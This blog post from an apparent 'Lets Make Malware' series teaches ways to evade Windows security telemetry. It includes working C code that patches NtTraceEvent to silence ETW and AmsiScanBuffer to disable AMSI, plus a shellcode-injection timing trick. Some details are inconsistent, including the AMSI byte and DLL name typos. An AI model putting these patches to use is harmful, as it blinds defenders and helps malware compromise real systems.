Reprogrammed

Lets Make Malware – Bypassing Behavioral Detections (ETW & Callbacks)

Lets Make Malware

Introduction

Last time we covered an important aspect of creating evasive malware by evading behavioral detections, but we are not finished yet.

While bypassing and evading hooks, whether through unhooking, trampolines, or syscalls is important, it is not the only behavioral detection we have to worry about.

This week, we will discuss the others.

ETW

Let’s begin by discussing Event Tracing for Windows (ETW).

ETW is better thought of as Event Logs. We will not get into the nitty gritty of ETW by discussing things like providers, consumers, trace sessions, etc.

Instead, we are going to focus on bypasses this time.

Just about every action we take produces a log. File creation and deletion? Log. Process creation? Log. Account sign on? Log.

Antivirus and EDR solutions can take advantage of this to spot malware through the process of correlation.

That means a single event occurring will usually not be our downfall. Rather, a chain of suspicious events occurring within a short timeframe is what gets us caught. What does this look like in practice?

Imagine you are on an assessment and deliver a very basic phishing payload. You are lucky enough to make it through email filters and get someone to open it.

It’s just a Microsoft Word document to the untrained eye.

In the background however, it sends a reverse shell your way.

What is the first thing we do with our new shell?

We run whoami, hostname, ipconfig, net users, etc and begin recon.

Suddenly, our shell dies. So, what happened?

AV/EDR killed our process, of course! Word should never have cmd.exe or powershell.exe as child processes. That is an anomaly. A big anomaly at that.

Second, all those commands we ran afterwards are all executable binaries (in case you were not already aware of what terminal commands really are).

This means when each one runs, we are creating more processes as children of cmd.exe or powershell.exe. Which, in turn, means process creation event logs!

Now, we have separate event chains.

Microsoft Word -> cmd.exe -> whoami.exe

Microsoft Word -> cmd.exe -> hostname.exe

Microsoft Word -> cme.exe -> ipconfig.exe

Etc

How often does an average office worker open command prompt on their computer? How often do they run well-known information-gathering TTPs?

It is no wonder the reverse shell would die in this case. We stick out like a sore thumb.

One thing to note is that in this example, it may not necessarily be the event logs themselves that cause the EDR to terminate our process.

We will look at other factors in the following sections, but just be aware that the Event Logs could be the cause.

So, with this in mind we have two options.

We can either simply choose to be mindful of what Event Logs (and other artifacts) are generated with every action we take (queue Red Teaming), or we can attempt to stop the generation of some of these logs.

In this post, we will, of course, be looking at the second option.

And luckily for us, doing so is fairly easy. We just need to patch a function within (exported by) ndll.dll.

Which function? Well, we have our pick of the litter. We can patch EtwEventWrite, EtwEventWriteFull, or NtTraceEvent.

EtwEventWrite calls EtwEventWriteFull, so it would make more sense to patch EtwEventWriteFull.

However, NtTraceEvent is the syscall that eventually gets called, so we will patch that one instead.

Example (courtesy of Mr-Un1k0d3r):

#include <windows.h>

int main() {
	DWORD dwOld = 0;
	FARPROC ptrNtTraceEvent = GetProcAddress(LoadLibrary("ntdll.dll"), "NtTraceEvent");
	VirtualProtect(ptrNtTraceEvent, 1, PAGE_EXECUTE_READWRITE, &dwOld);
	memcpy(ptrNtTraceEvent, "\xc3", 1);
	VirtualProtect(ptrNtTraceEvent, 1, dwOld, &dwOld);
	return 0;
}

All this code sample does is find the memory address of the NtTraceEvent function within ntdll.dll, change the protections to Read-Write-Execute so we can make changes to it, writes 0xC3 (machine code instruction for “return”; In this case, meaning “do nothing”), and then changes the protections back to what they originally were (RX).

Simple.

Note: if we want to do both unhooking and patching ETW, we must perform unhooking first. Doing it the other way will result in us restoring the original bytes to our patched function.

If it seems too easy, that’s because it is. While patching ETW like this will stop the creation of some events, we have another problem.

There is a very special ETW provider that exists in kernel-land specifically designed to provide information about common TTPs (APC Injection for example) occurring on the system.

ETW TI

This is called ETW Threat Intelligence (provider). Since it exists in kernel-land, we cannot touch it (at least without making use of existing driver vulnerabilities or loading our own signed driver).

We can look at some of the things ETW TI can log by running the command logman.exe query providers Microsoft-Windows-Threat-Intelligence.

Logman Output

As we can see, ETW TI is very capable. Fortunately, (for us. Unfortunately for cybersecurity) Microsoft makes gaining access to the ETW TI provider a pain for anti-malware products.

Logs are a powerful source of telemetry for AV/EDR solutions, but they aren’t the only source.

AMSI

Anti-Malware Scan Interface (AMSI) is another powerful source of telemtry. To put things simply, AMSI is simply a way to gain visibility into code through an appropriately-named AMSI.dll. It affects PowerShell, C# (and .NET in general), VBA and VBScript, and JScript.

If you have ever attempted to run an unobfuscated PowerShell script before, you have likely run into AMSI. AMSI has a secret however.

AMSI’s secret is that it is essentially performing static detections. Which means everything we learned about bypassing static detections applies here.

To start, that means we need to obfuscate identifiers like variable names, function names, class names and other strings within our codebase. Further, specifically pertaining to C#, we can change the C# Assembly’s GUID.

If we want to go even further, however, we can take AMSI out of the equation entirely. Similarly to how we disabled ETW we can do the same to AMSI.

Example (courtesy of Mr-Un1k0d3r):

#include <windows.h>

int main() {
	DWORD dwOld = 0;
	DWORD offset = 0x83;
	FARPROC ptrAmsiScanBuffer = GetProcAddress(LoadLibrary("amsi.dll"), "AmsiScanBuffer");
	VirtualProtect(ptrAmsiScanBuffer + offset, 1, PAGE_EXECUTE_READWRITE, &dwOld);
	memcpy(ptrAmsiScanBuffer + offset, "\x74", 1);
	VirtualProtect(ptrAmsiScanBuffer + offset, 1, dwOld, &dwOld);
	return 0;
}

The difference between this code and what we used to patch ETW is that here instead of simply returning, we are switching the jz (jump if zero; similar to if x == y) Assembly instruction to jnz (jump if not zero; similar to if x != y).

AMSI would normally flag our malicious code and stop it from running, but with this patch, we switch the logic and AMSI allows our malicious code to run instead.

Kernel Callbacks

Like ETW TI, kernel callbacks are something we cannot really tamper with (again, at least from user-land). Callbacks, in general, are essentially like saying “when this ‘event’ occurs or finishes, let me know”.

Kernel callbacks allow EDRs to run code when certain events happen. These can be things like Process Creation, Image Load (i.e what happens just prior to Process Creation), Thread Creation, Handle Requests, or registry actions.

There is one thing to note here. Process Creation Events only register once the first thread has started. If there is no thread, process creation has not occurred. The NT API function NtCreateProcessEx, unlike its newer counterpart NtCreateUserProcess, does not create and start a thread for you. You must do that part on your own.

This means there is a window of time where we can do things like inject our shellcode prior to any kernel callbacks or events being logged, making it seem like our shellcode was there all along.

This does not bypass anything, but it is something akin to a workaround.

Along the same lines as Kernel Callbacks are Minifilters. These essentially do the same thing but specifically for File I/O. These are implemented in system device drivers, so again, there is not a lot we can do about them from user-land.

Conclusion

And with that, we have wrapped up the basics of Windows Malware Development. While there are numerous more techniques to perform various tasks, what we have discussed from the start of this series until now is everything you need to know to get started.

EDRs will of course require more of these advanced techniques to successfully bypass (depending on their configuration), but by putting everything together and applying a bit of creativity, you are more than capable of bypassing more simplistic AV software like Defender, BitDefender, Avast, and McAfee. We have successfully made malware!

Resources

Github - Patching ETW

Github - Patching AMSI

MSDN: AMSI

MSDN: ETW

Maixchd - ETW TI

JSecurity - Kernel Callbacks

Red Canary - AMSI